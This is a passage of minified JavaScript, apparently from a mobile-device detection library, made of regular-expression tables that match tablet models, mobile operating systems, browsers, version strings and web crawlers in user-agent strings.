browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2\",AcerTablet:\"Android.*; \\\\b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\\\\b|W3-810|\\\\bA3-A10\\\\b|\\\\bA3-A11\\\\b|\\\\bA3-A20\\\\b|\\\\bA3-A30|A3-A40\",ToshibaTablet:\"Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO\",LGTablet:\"\\\\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\\\\b\",FujitsuTablet:\"Android.*\\\\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\\\\b\",PrestigioTablet:\"PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002\",LenovoTablet:\"Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X|TB-X704F|TB-X104F|TB3-X70F|TB-X705F|TB-8504F|TB3-X70L|TB3-710F|TB-X704L\",DellTablet:\"Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7\",YarvikTablet:\"Android.*\\\\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\\\\b\",MedionTablet:\"Android.*\\\\bOYO\\\\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB\",ArnovaTablet:\"97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2\",IntensoTablet:\"INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004\",IRUTablet:\"M702pro\",MegafonTablet:\"MegaFon V9|\\\\bZTE V9\\\\b|Android.*\\\\bMT7A\\\\b\",EbodaTablet:\"E-Boda (Supreme|Impresspeed|Izzycomm|Essential)\",AllViewTablet:\"Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)\",ArchosTablet:\"\\\\b(101G9|80G9|A101IT)\\\\b|Qilive 97R|Archos5|\\\\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\\\\b\",AinolTablet:\"NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark\",NokiaLumiaTablet:\"Lumia 2520\",SonyTablet:\"Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712\",PhilipsTablet:\"\\\\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\\\\b\",CubeTablet:\"Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT\",CobyTablet:\"MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010\",MIDTablet:\"M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10\",MSITablet:\"MSI \\\\b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\\\\b\",SMiTTablet:\"Android.*(\\\\bMID\\\\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)\",RockChipTablet:\"Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A\",FlyTablet:\"IQ310|Fly Vision\",bqTablet:\"Android.*(bq)?.*\\\\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))\\\\b|Maxwell.*Lite|Maxwell.*Plus\",HuaweiTablet:\"MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19\",NecTablet:\"\\\\bN-06D|\\\\bN-08D\",PantechTablet:\"Pantech.*P4100\",BronchoTablet:\"Broncho.*(N701|N708|N802|a710)\",VersusTablet:\"TOUCHPAD.*|\\\\bTOUCHTAB\\\\b\",ZyncTablet:\"z1000|Z99 2G|z930|z990|z909|Z919|z900\",PositivoTablet:\"TB07STA|TB10STA|TB07FTA|TB10FTA\",NabiTablet:\"Android.*\\\\bNabi\",KoboTablet:\"Kobo Touch|\\\\bK080\\\\b|\\\\bVox\\\\b Build|\\\\bArc\\\\b Build\",DanewTablet:\"DSlide.*\\\\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\\\\b\",TexetTablet:\"NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE\",PlaystationTablet:\"Playstation.*(Portable|Vita)\",TrekstorTablet:\"ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab\",PyleAudioTablet:\"\\\\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\\\\b\",AdvanTablet:\"Android.* \\\\b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\\\\b \",DanyTechTablet:\"Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1\",GalapadTablet:\"Android [0-9.]+; [a-z-]+; \\\\bG1\\\\b\",MicromaxTablet:\"Funbook|Micromax.*\\\\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\\\\b\",KarbonnTablet:\"Android.*\\\\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\\\\b\",AllFineTablet:\"Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide\",PROSCANTablet:\"\\\\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\\\\b\",YONESTablet:\"BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026\",ChangJiaTablet:\"TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503\",GUTablet:\"TX-A1301|TX-M9002|Q702|kf026\",PointOfViewTablet:\"TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10\",OvermaxTablet:\"OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027\",HCLTablet:\"HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync\",DPSTablet:\"DPS Dream 9|DPS Dual 7\",VistureTablet:\"V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10\",CrestaTablet:\"CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989\",MediatekTablet:\"\\\\bMT8125|MT8389|MT8135|MT8377\\\\b\",ConcordeTablet:\"Concorde([ ]+)?Tab|ConCorde ReadMan\",GoCleverTablet:\"GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042\",ModecomTablet:\"FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003\",VoninoTablet:\"\\\\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\\\\bQ8\\\\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\\\\b\",ECSTablet:\"V07OT2|TM105A|S10OT1|TR10CS1\",StorexTablet:\"eZee[_']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab\",VodafoneTablet:\"SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400\",EssentielBTablet:\"Smart[ ']?TAB[ ]+?[0-9]+|Family[ ']?TAB2\",RossMoorTablet:\"RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711\",iMobileTablet:\"i-mobile i-note\",TolinoTablet:\"tolino tab [0-9.]+|tolino shine\",AudioSonicTablet:\"\\\\bC-22Q|T7-QC|T-17B|T-17P\\\\b\",AMPETablet:\"Android.* A78 \",SkkTablet:\"Android.* (SKYPAD|PHOENIX|CYCLOPS)\",TecnoTablet:\"TECNO P9|TECNO DP8D\",JXDTablet:\"Android.* \\\\b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\\\\b\",iJoyTablet:\"Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)\",FX2Tablet:\"FX2 PAD7|FX2 PAD10\",XoroTablet:\"KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151\",ViewsonicTablet:\"ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a\",VerizonTablet:\"QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1\",OdysTablet:\"LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\\\\bXELIO\\\\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10\",CaptivaTablet:\"CAPTIVA PAD\",IconbitTablet:\"NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S\",TeclastTablet:\"T98 4G|\\\\bP80\\\\b|\\\\bX90HD\\\\b|X98 Air|X98 Air 3G|\\\\bX89\\\\b|P80 3G|\\\\bX80h\\\\b|P98 Air|\\\\bX89HD\\\\b|P98 3G|\\\\bP90HD\\\\b|P89 3G|X98 3G|\\\\bP70h\\\\b|P79HD 3G|G18d 3G|\\\\bP79HD\\\\b|\\\\bP89s\\\\b|\\\\bA88\\\\b|\\\\bP10HD\\\\b|\\\\bP19HD\\\\b|G18 3G|\\\\bP78HD\\\\b|\\\\bA78\\\\b|\\\\bP75\\\\b|G17s 3G|G17h 3G|\\\\bP85t\\\\b|\\\\bP90\\\\b|\\\\bP11\\\\b|\\\\bP98t\\\\b|\\\\bP98HD\\\\b|\\\\bG18d\\\\b|\\\\bP85s\\\\b|\\\\bP11HD\\\\b|\\\\bP88s\\\\b|\\\\bA80HD\\\\b|\\\\bA80se\\\\b|\\\\bA10h\\\\b|\\\\bP89\\\\b|\\\\bP78s\\\\b|\\\\bG18\\\\b|\\\\bP85\\\\b|\\\\bA70h\\\\b|\\\\bA70\\\\b|\\\\bG17\\\\b|\\\\bP18\\\\b|\\\\bA80s\\\\b|\\\\bA11s\\\\b|\\\\bP88HD\\\\b|\\\\bA80h\\\\b|\\\\bP76s\\\\b|\\\\bP76h\\\\b|\\\\bP98\\\\b|\\\\bA10HD\\\\b|\\\\bP78\\\\b|\\\\bP88\\\\b|\\\\bA11\\\\b|\\\\bA10t\\\\b|\\\\bP76a\\\\b|\\\\bP76t\\\\b|\\\\bP76e\\\\b|\\\\bP85HD\\\\b|\\\\bP85a\\\\b|\\\\bP86\\\\b|\\\\bP75HD\\\\b|\\\\bP76v\\\\b|\\\\bA12\\\\b|\\\\bP75a\\\\b|\\\\bA15\\\\b|\\\\bP76Ti\\\\b|\\\\bP81HD\\\\b|\\\\bA10\\\\b|\\\\bT760VE\\\\b|\\\\bT720HD\\\\b|\\\\bP76\\\\b|\\\\bP73\\\\b|\\\\bP71\\\\b|\\\\bP72\\\\b|\\\\bT720SE\\\\b|\\\\bC520Ti\\\\b|\\\\bT760\\\\b|\\\\bT720VE\\\\b|T720-3GE|T720-WiFi\",OndaTablet:\"\\\\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\\\\b[\\\\s]+|V10 \\\\b4G\\\\b\",JaytechTablet:\"TPC-PA762\",BlaupunktTablet:\"Endeavour 800NG|Endeavour 1010\",DigmaTablet:\"\\\\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\\\\b\",EvolioTablet:\"ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\\\\bEvotab\\\\b|\\\\bNeura\\\\b\",LavaTablet:\"QPAD E704|\\\\bIvoryS\\\\b|E-TAB IVORY|\\\\bE-TAB\\\\b\",AocTablet:\"MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712\",MpmanTablet:\"MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\\\\bMPG7\\\\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010\",CelkonTablet:\"CT695|CT888|CT[\\\\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\\\\bCT-1\\\\b\",WolderTablet:\"miTab \\\\b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\\\\b\",MediacomTablet:\"M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA\",MiTablet:\"\\\\bMI PAD\\\\b|\\\\bHM NOTE 1W\\\\b\",NibiruTablet:\"Nibiru M1|Nibiru Jupiter One\",NexoTablet:\"NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI\",LeaderTablet:\"TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100\",UbislateTablet:\"UbiSlate[\\\\s]?7C\",PocketBookTablet:\"Pocketbook\",KocasoTablet:\"\\\\b(TB-1207)\\\\b\",HisenseTablet:\"\\\\b(F5281|E2371)\\\\b\",Hudl:\"Hudl HT7S3|Hudl 2\",TelstraTablet:\"T-Hub2\",GenericTablet:\"Android.*\\\\b97D\\\\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\\\\bA7EB\\\\b|CatNova8|A1_07|CT704|CT1002|\\\\bM721\\\\b|rk30sdk|\\\\bEVOTAB\\\\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\\\\bM6pro\\\\b|CT1020W|arc 10HD|\\\\bTP750\\\\b|\\\\bQTAQZ3\\\\b|WVT101|TM1088|KT107\"},oss:{AndroidOS:\"Android\",BlackBerryOS:\"blackberry|\\\\bBB10\\\\b|rim tablet os\",PalmOS:\"PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino\",SymbianOS:\"Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\\\\bS60\\\\b\",WindowsMobileOS:\"Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone [0-9.]+|WCE;\",WindowsPhoneOS:\"Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.; ARM;\",iOS:\"\\\\biPhone.*Mobile|\\\\biPod|\\\\biPad|AppleCoreMedia\",iPadOS:\"CPU OS 13\",SailfishOS:\"Sailfish\",MeeGoOS:\"MeeGo\",MaemoOS:\"Maemo\",JavaOS:\"J2ME/|\\\\bMIDP\\\\b|\\\\bCLDC\\\\b\",webOS:\"webOS|hpwOS\",badaOS:\"\\\\bBada\\\\b\",BREWOS:\"BREW\"},uas:{Chrome:\"\\\\bCrMo\\\\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?\",Dolfin:\"\\\\bDolfin\\\\b\",Opera:\"Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+\\$|Coast/[0-9.]+\",Skyfire:\"Skyfire\",Edge:\"\\\\bEdgiOS\\\\b|Mobile Safari/[.0-9]* Edge\",IE:\"IEMobile|MSIEMobile\",Firefox:\"fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS\",Bolt:\"bolt\",TeaShark:\"teashark\",Blazer:\"Blazer\",Safari:\"Version((?!\\\\bEdgiOS\\\\b).)*Mobile.*Safari|Safari.*Mobile|MobileSafari\",WeChat:\"\\\\bMicroMessenger\\\\b\",UCBrowser:\"UC.*Browser|UCWEB\",baiduboxapp:\"baiduboxapp\",baidubrowser:\"baidubrowser\",DiigoBrowser:\"DiigoBrowser\",Mercury:\"\\\\bMercury\\\\b\",ObigoBrowser:\"Obigo\",NetFront:\"NF-Browser\",GenericBrowser:\"NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger\",PaleMoon:\"Android.*PaleMoon|Mobile.*PaleMoon\"},props:{Mobile:\"Mobile/[VER]\",Build:\"Build/[VER]\",Version:\"Version/[VER]\",VendorID:\"VendorID/[VER]\",iPad:\"iPad.*CPU[a-z ]+[VER]\",iPhone:\"iPhone.*CPU[a-z ]+[VER]\",iPod:\"iPod.*CPU[a-z ]+[VER]\",Kindle:\"Kindle/[VER]\",Chrome:[\"Chrome/[VER]\",\"CriOS/[VER]\",\"CrMo/[VER]\"],Coast:[\"Coast/[VER]\"],Dolfin:\"Dolfin/[VER]\",Firefox:[\"Firefox/[VER]\",\"FxiOS/[VER]\"],Fennec:\"Fennec/[VER]\",Edge:\"Edge/[VER]\",IE:[\"IEMobile/[VER];\",\"IEMobile [VER]\",\"MSIE [VER];\",\"Trident/[0-9.]+;.*rv:[VER]\"],NetFront:\"NetFront/[VER]\",NokiaBrowser:\"NokiaBrowser/[VER]\",Opera:[\" OPR/[VER]\",\"Opera Mini/[VER]\",\"Version/[VER]\"],\"Opera Mini\":\"Opera Mini/[VER]\",\"Opera Mobi\":\"Version/[VER]\",UCBrowser:[\"UCWEB[VER]\",\"UC.*Browser/[VER]\"],MQQBrowser:\"MQQBrowser/[VER]\",MicroMessenger:\"MicroMessenger/[VER]\",baiduboxapp:\"baiduboxapp/[VER]\",baidubrowser:\"baidubrowser/[VER]\",SamsungBrowser:\"SamsungBrowser/[VER]\",Iron:\"Iron/[VER]\",Safari:[\"Version/[VER]\",\"Safari/[VER]\"],Skyfire:\"Skyfire/[VER]\",Tizen:\"Tizen/[VER]\",Webkit:\"webkit[ /][VER]\",PaleMoon:\"PaleMoon/[VER]\",SailfishBrowser:\"SailfishBrowser/[VER]\",Gecko:\"Gecko/[VER]\",Trident:\"Trident/[VER]\",Presto:\"Presto/[VER]\",Goanna:\"Goanna/[VER]\",iOS:\" \\\\bi?OS\\\\b [VER][ ;]{1}\",Android:\"Android [VER]\",Sailfish:\"Sailfish [VER]\",BlackBerry:[\"BlackBerry[\\\\w]+/[VER]\",\"BlackBerry.*Version/[VER]\",\"Version/[VER]\"],BREW:\"BREW [VER]\",Java:\"Java/[VER]\",\"Windows Phone OS\":[\"Windows Phone OS [VER]\",\"Windows Phone [VER]\"],\"Windows Phone\":\"Windows Phone [VER]\",\"Windows CE\":\"Windows CE/[VER]\",\"Windows NT\":\"Windows NT [VER]\",Symbian:[\"SymbianOS/[VER]\",\"Symbian/[VER]\"],webOS:[\"webOS/[VER]\",\"hpwOS/[VER];\"]},utils:{Bot:\"Googlebot|facebookexternalhit|Google-AMPHTML|s~amp-validator|AdsBot-Google|Google Keyword Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom|contentkingapp|AspiegelBot\",MobileBot:\"Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2\",DesktopMode:\"WPDesktop\",TV:\"SonyDTV|HbbTV\",WebKit:\"(webkit)[ /]([\\\\w.]+)\",Console:\"\\\\b(Nintendo|Nintendo WiiU|Nintendo 3DS|Nintendo 